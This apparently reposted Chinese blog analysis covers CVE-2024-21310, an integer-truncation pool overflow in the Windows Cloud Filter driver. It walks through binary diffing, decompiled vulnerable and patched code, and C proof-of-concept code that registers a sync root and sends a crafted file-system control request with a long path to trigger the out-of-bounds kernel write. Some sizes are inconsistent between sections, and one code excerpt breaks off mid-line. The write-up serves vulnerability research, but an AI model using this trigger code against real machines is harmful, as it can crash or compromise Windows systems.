此漏洞没有公开的概念验证,因此我们必须根据 Microsoft 提供的有限信息从头开始。我们需要对易受攻击且已修补的 clfd.sys 组件进行逆向工程和执行 BinDiff,以识别漏洞并找到触发漏洞的方法。
Microsoft 提供的信息可在以下链接中找到:Microsoft
此漏洞是由于数字截断错误导致的整数溢出。
什么是数字截断错误?
假设我们有一个 int64_t 类型的值和另一个 int16_t 类型的值,我们想将它们相加并将结果存储在 int16_t 类型的变量中。此示例将展示将结果存储在容量较小的数据类型中时如何发生截断。
int64_t large_value = 100000;
int16_t small_value = 30000;
int16_t sum = (int16_t)(large_value + small_value);
large_value is a 64-bit integer (int64_t) with a value of 100,000.
small_value is a 16-bit integer (int16_t) with a value of 30,000.
large_value 和 small_value 的和是在 int64_t 上进行的,因为它是最大的类型。因此和为:
100,000+30,000=130,000
然后将总和的结果 (130,000) 转换为 int16_t。由于 int16_t 的范围是 -32,768 到 32,767,因此超出此范围的任何值都将被截断。
Bug 的根本原因。
我用于此漏洞利用的Windows版本:
需要激活Windows Long Path。为此,我按照以下链接中的说明进行操作:
-
Microfocus
-
Autodesk
从以下网站下载存在漏洞且已修补的驱动程序:Winbindex
第一步我们必须找到错误,为此我将在 cldfls.sys 的易受攻击的版本和修补版本之间进行bindiff 。
现在我们要研究一下脆弱性产生的原因。
InformationFile = HsmiQueryFullFilePath(v22, v23, Object, 257i64, &PathSize); [1]
HsmDbgBreakOnStatus((unsigned int)InformationFile);
if ( InformationFile < 0 )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
{
WPP_SF_qqd(
WPP_GLOBAL_Control->AttachedDevice,
183i64,
&WPP_78064aab483a35e2f1ef7b76ba44fd52_Traceguids,
a2,
v21,
InformationFile);
}
goto LABEL_93;
}
v24 = PathSize + *(_WORD *)(a2 + 0x40); [2]
LOWORD(v39) = 0;
WORD1(v39) = v24;
P = ExAllocatePoolWithTag(PagedPool, v24, 'sUsH'); [3]
InformationFile = P == 0i64 ? 0xC000009A : 0;
HsmDbgBreakOnStatus((unsigned int)InformationFile);
if ( !P )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
{
WPP_SF_qd(
WPP_GLOBAL_Control->AttachedDevice,
184i64,
&WPP_78064aab483a35e2f1ef7b76ba44fd52_Traceguids,
a2,
InformationFile);
}
goto LABEL_93;
}
memmove(P, *(const void **)(a2 + 72), *(unsigned __int16 *)(a2 + 64));
LOWORD(v39) = *(_WORD *)(a2 + 64) - 2;
memmove((char *)P + (unsigned __int16)v39, Src, (unsigned __int16)PathSize); [4]
[1] HsmiQueryFullFilePath函数在PathSize变量中返回我们从 NtCreateFIle 发送的路径的大小。
[2]在此部分代码中,发生整数溢出是因为PathSize是__int64,(a2 + 0x40)是WORD类型,即16 位(2 字节),而结果将存储在无符号 __int16 v24(2 字节)中。因此,为了产生溢出, PathSize必须是一个足够大的值,以便与 0x30 的和(*(_WORD *)(a2 + 0x40) 的值)存储在 v24 中时超出了 16 位范围。
如果PathSize= 0xFFFC且 ** *(_WORD *)(a2 + 0x40)= 0x30 ** 则结果为0x1002C但在v24中只会存储 0x2c 所以 v24=0x2c 因为只能存储 2 个字节因为变量是int16类型。
[3]然后, v24中的和的结果将用作分配大小为0x2c的块的大小
[4]在此部分代码中,将发生OOB 写入,因为在之前分配的大小为 0x2c 的块中,将写入大小为 0xFFFC 的长路径,并使用变量PathSize=0xFFFC作为大小。
漏洞补丁
我们来看一下微软对该功能所做的补丁。
InformationFile = HsmiQueryFullFilePath(v22, v20, a3, 0x101u, PathSize);
HsmDbgBreakOnStatus(InformationFile);
if ( InformationFile < 0 )
{
v23 = WPP_GLOBAL_Control;
if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control
|| (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) == 0
|| BYTE1(WPP_GLOBAL_Control->Timer) < 2u )
{
goto LABEL_99;
}
v24 = 213;
goto LABEL_28;
}
pusResult[1] = *(_WORD *)(a2 + 0x40);
if ( (unsigned int)Feature_2686352701__private_IsEnabled() )
{
InformationFile = RtlUShortAdd(pusResult[1], (USHORT)PathSize[0], &pusResult[1]); [1]
if ( InformationFile < 0 )
{
v23 = WPP_GLOBAL_Control;
if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control
|| (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) == 0
|| BYTE1(WPP_GLO
[1] RtlUShortAdd函数接受两个值PathSize和 *(_WORD *)(a2 + 0x40),并检查总和是否溢出。如果溢出,则将结果设置为 USHORT 的最大值并返回错误代码。如果没有溢出,则将总和的结果保存在提供的变量中,并返回 0 以表示成功。
触发漏洞
为了触发该漏洞,我们需要访问存在漏洞的函数,因此我们将检查HsmFltProcessHSMControl函数,看看需要发送什么代码才能访问HsmFltProcessSetPinState。
case 0xC0000018:
v99 = 0;
Status = HsmiOpPrepareOperation(
CallbackData,
-1073741800,
*(_DWORD *)(Parameters + 8),
v13,
a2,
v9,
(__int64 *)&v87,
128,
&v85);
HsmDbgBreakOnStatus(Status);
if ( Status >= 0 )
{
v73 = (void *)Parameters;
v26 = v84;
Status = HsmFltProcessSetPinState(
(__int64)&v85,
(__int64)v13,
*(struct _FILE_OBJECT **)v88,
a2,
v9,
v87,
v84,
CallbackData,
v73,
v100,
Length,
v101);
HsmDbgBreakOnStatus(Status);
goto LABEL_209;
}
break;
它首先执行同步根注册。然后,它启动同步提供程序和同步过滤器 API 之间的通信:
struct _OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
GUID guid = { 0 };
WCHAR* dir = (WCHAR*)L"C:\ProgramData";
HANDLE hObject = NULL;
struct _IO_STATUS_BLOCK IoStatusBlock;
struct _IO_STATUS_BLOCK IoStatusBlock_control_file = { 0 };
guid.Data1 = 0xB196E670;
guid.Data2 = 0x59C7;
guid.Data3 = 0x4D41;
CRC32TableCreate();
GetFuncAddr();
CfUnregisterSyncRoot(L"C:\ProgramData\");
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = guid;
CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
HRESULT hr = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (FAILED(hr)) {
printf("[-] CfRegisterSyncRoot failed with %d", GetLastError());
return 0;
}
printf("[*] CfRegisterSyncRoot successn");
ObjectAttributes.RootDirectory = NULL;
ObjectAttributes.SecurityDescriptor = NULL;
RtlInitUnicodeString(&objdir,string );
InitializeObjectAttributes(&ObjectAttributes, &objdir, 0, 0, 0);
ObjectAttributes.Attributes = 64;
status = NtCreateFile(&hObject, GENERIC_READ | GENERIC_WRITE, &ObjectAttributes, &IoStatusBlock, 0, 0, 0, 3, 1, 0, 0);
if (!NT_SUCCESS(status)) {
// Error al llamar a NtCreateFile, imprimir el código de error
printf("Error al abrir el archivo: 0x%Xn", status);
return 1;
}
printf("[*] tiggering Bug n");
unsigned int* control_buffer_2 = (unsigned int*)calloc(1, 0x100);
*control_buffer_2 = 0x9000001A;
control_buffer_2[1] = 0xC0000018;
control_buffer_2[2] = 0x20000;
control_buffer_2[3] = 0x0;
control_buffer_2[4] = 0x4;
fnNtFsControlFile(
hObject,
0,
0,
0,
&IoStatusBlock_control_file,
0x903BC,
control_buffer_2,
0x100,
0,
0);
字符串变量将包含长路径,RtlInitUnicodeString使用 Unicode字符串变量初始化 UNICODE_STRING 结构。然后InitializeObjectAttributes初始化OBJECT_ATTRIBUTES结构,该结构在NtCreateFile中用作参数。
现在让我们看看如何利用此漏洞。
HsmiQueryFullFilePath函数返回长路径的大小,正如我们在下面的 windbg 中看到的值0xFFD0。
包含[r15+40h]的值(即变量 *(_WORD *)(a2 + 0x40),其值为0x30)与PathSize相加(即HsmiQueryFullFilePath返回的路径大小),在那里发生整数溢出,然后使用相加的结果0x0作为大小来分配一个块。
这就是发生OOB 写入并触发漏洞的地方,因为mmemove将把大小为0xFFD0的长路径(这是我发送的路径的大小)复制到大小为0x20的块中。
这里我们看到了窗口消息。
写于 2024 年 9 月 26 日
原文始发于微信公众号(Ots安全):CVE-2024-21310 池溢出 Windows Cloud Filter 驱动程序分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论